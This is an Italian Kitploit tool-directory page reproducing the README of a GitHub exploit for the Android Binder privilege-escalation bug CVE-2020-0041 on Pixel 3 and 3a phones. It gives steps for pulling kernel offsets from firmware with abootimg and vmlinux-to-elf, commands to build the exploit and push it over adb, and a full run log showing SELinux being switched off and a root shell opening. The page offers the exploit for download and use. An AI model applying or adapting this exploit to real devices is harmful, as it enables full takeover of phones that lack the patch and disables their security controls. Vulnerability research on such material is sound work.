Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-0041-Pixel-3a — Exploit di escalation locale dei privilegi per il bug Android Binder CVE-2020-0041 (Pixel 3a) | Kitploit
Strumenti/GitHubGitHub/vaginessa/cve-2020-0041-pixel-3a
Sicurezza AndroidEscalation di PrivilegiAnalisi delle VulnerabilitàExploitReverse EngineeringBinary Exploitation
GitHubvaginessa/cve-2020-0041-pixel-3a

CVE-2020-0041-Pixel-3a

Exploit di escalation locale dei privilegi per il bug Android Binder CVE-2020-0041 (Pixel 3a)

Vedi Repository
8145 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-0041: exploit di escalation dei privilegi

Questa cartella contiene un exploit locale di escalation dei privilegi, una modifica del PoC di bluefrostsecurity per CVE-2020-0041. L'exploit è stato fornito con offset hardcoded per un dispositivo Pixel 3 con il firmware di febbraio 2020 (QQ1A.200205.002). L'exploit è stato adattato per i dispositivi Pixel 3a.

L'exploit disabilita SELinux e poi avvia una shell di root.

Adattare l'exploit

  1. Per adattare l'exploit a qualsiasi dispositivo Pixel 3, è necessario scaricare dal sito ufficiale immagini Android per sviluppatori il firmware vulnerabile specifico (QQ1A.200205.002).

  2. Successivamente, convertire boot.img in uno zImage. Per farlo, usare abootimg.

root@kitploit:~
./abootimg -x [path_to_boot_img]

Lo zImage prodotto è un'immagine che contiene il kernel Android compresso.

  1. Per ottenere un'immagine non compressa del kernel con simboli e offset corretti, usare lo strumento vmlinux-to-elf.
root@kitploit:~
vmlinux-to-elf [path_to_zImage] [kernel.elf] 
  1. Usare un disassembler a propria scelta per trovare le etichette relative agli offset dell'exploit presenti in exploit.c:
root@kitploit:~
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
  1. Allineare exploit.c con gli offset corretti.

  2. Profit :)

Testare l'exploit

L'exploit può essere compilato semplicemente eseguendo "make" con l'Android NDK nel percorso. Può anche essere trasferito su un telefono collegato tramite adb eseguendo "make all push" (avvisi rimossi per brevità):

root@kitploit:~
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

Ora basta eseguire /data/local/tmp/poc da una shell adb per vedere l'exploit in azione:

root@kitploit:~
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ # 
Scarica lo strumento